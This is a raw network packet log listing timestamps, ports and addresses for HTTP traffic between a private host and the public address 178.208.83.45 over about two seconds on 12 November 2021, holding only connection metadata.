Nov 12, 2021 22:23:55.495498896 CET	80	49961	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.495623112 CET	49961	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.499937057 CET	80	49963	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.500022888 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.504213095 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.526549101 CET	80	49963	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.529405117 CET	80	49963	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.529537916 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.668589115 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.669017076 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.670794964 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.690922022 CET	80	49963	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.691034079 CET	49963	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.691234112 CET	80	49962	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.691297054 CET	49962	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.693118095 CET	80	49964	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.697367907 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.699477911 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.721834898 CET	80	49964	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.726066113 CET	80	49964	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.726260900 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.834461927 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.835640907 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.857026100 CET	80	49964	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.857106924 CET	49964	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.857978106 CET	80	49965	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.858105898 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.874058962 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:55.896442890 CET	80	49965	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.900284052 CET	80	49965	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:55.900367022 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.095164061 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.097210884 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.098006964 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.117726088 CET	80	49965	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.117815971 CET	49965	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.119631052 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.119771957 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.120322943 CET	80	49967	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.120434999 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.120996952 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.122304916 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.122387886 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.122561932 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.122642994 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.143385887 CET	80	49967	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146756887 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146785975 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146796942 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146825075 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146842003 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.146981955 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.147020102 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.147094011 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147104025 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147113085 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147126913 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147139072 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147156954 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147195101 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.147229910 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.147306919 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.148557901 CET	80	49967	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.148674965 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170610905 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170635939 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170645952 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170654058 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170665979 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170675993 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170686960 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170696020 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170706987 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170713902 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170721054 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170726061 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170764923 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170766115 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170779943 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170785904 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170790911 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170802116 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.170805931 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170820951 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170844078 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.170871019 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.171137094 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.171160936 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.171169996 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.171188116 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.171228886 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.171246052 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.193212032 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193244934 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193265915 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193284035 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193301916 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193310022 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.193320990 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193340063 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.193351984 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.193363905 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.193399906 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.195373058 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195395947 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195415020 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195427895 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195447922 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195467949 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195487022 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195504904 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195522070 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195542097 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195564032 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195576906 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195595026 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195611954 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195630074 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195647955 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195666075 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195686102 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195705891 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195724964 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195743084 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195760012 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195777893 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195796013 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195813894 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195832968 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195851088 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195868969 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195887089 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195904016 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.195923090 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215780973 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215847969 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215867996 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215883017 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215899944 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215964079 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215982914 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.215998888 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.216017008 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.216033936 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.216049910 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.216065884 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.216103077 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.218765020 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.218882084 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.269233942 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.294565916 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.294650078 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.412348986 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.412750006 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.414380074 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.434945107 CET	80	49966	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.434986115 CET	80	49967	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.435157061 CET	49966	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.435208082 CET	49967	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.436779976 CET	80	49968	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.436961889 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.462101936 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.484608889 CET	80	49968	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.487931013 CET	80	49968	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.488054991 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.626787901 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.628241062 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.649333954 CET	80	49968	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.649468899 CET	49968	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.650579929 CET	80	49969	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.650697947 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.656429052 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.678818941 CET	80	49969	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.682476044 CET	80	49969	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.682559967 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.806217909 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.828216076 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.828691006 CET	80	49969	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.828975916 CET	49969	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.850629091 CET	80	49970	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.850759983 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.855655909 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.878063917 CET	80	49970	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.881656885 CET	80	49970	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:56.881774902 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.992749929 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:56.994314909 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.005079985 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.015212059 CET	80	49970	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.015403032 CET	49970	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.016954899 CET	80	49971	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.017136097 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.019174099 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.027684927 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.027811050 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.029473066 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.029603958 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.029854059 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.029997110 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.041568041 CET	80	49971	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.050852060 CET	80	49971	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.050975084 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052006960 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052030087 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052277088 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052292109 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052304029 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052315950 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052356958 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052373886 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052401066 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052422047 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052440882 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052449942 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052465916 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052467108 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052480936 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052493095 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.052524090 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.052566051 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.074907064 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.074932098 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075005054 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075010061 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075025082 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075041056 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075042009 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075056076 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075067997 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075073004 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075082064 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075095892 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075109005 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075122118 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075128078 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075134993 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075149059 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075160980 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075172901 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075186968 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075191975 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075201035 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075220108 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075220108 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075227976 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.075237036 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075259924 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.075303078 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.097847939 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097872972 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097887039 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097898006 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097913027 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097922087 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097934008 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097944975 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097955942 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097968102 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097980022 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097987890 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.097999096 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098001957 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.098006964 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098020077 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098050117 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.098083973 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.098100901 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098115921 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098134041 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098145962 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098156929 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098169088 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098182917 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098196983 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098210096 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098223925 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098258018 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098273039 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098287106 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098299980 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098311901 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098325968 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098339081 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098349094 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098362923 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098375082 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098387003 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098400116 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.098413944 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120593071 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120661020 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120956898 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120973110 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120985985 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.120995045 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121010065 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121021986 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121035099 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121047020 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121057987 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121068954 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121081114 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.121093988 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.123727083 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.123819113 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.161223888 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.186871052 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.187001944 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.359165907 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.359539032 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.363253117 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.381733894 CET	80	49972	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.381756067 CET	80	49971	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.381900072 CET	49972	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.381968021 CET	49971	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.385931969 CET	80	49974	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.386161089 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.408648968 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.431330919 CET	80	49974	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.434689999 CET	80	49974	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.437570095 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.616462946 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.618112087 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.620322943 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.639166117 CET	80	49974	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.639462948 CET	49974	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.640520096 CET	80	49975	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.642725945 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.642947912 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.642960072 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.653404951 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.653738022 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.653925896 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.654236078 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.654447079 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.676074982 CET	80	49975	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676110983 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676131010 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676794052 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676817894 CET	80	49976	178.208.83.45	192.168.2.4
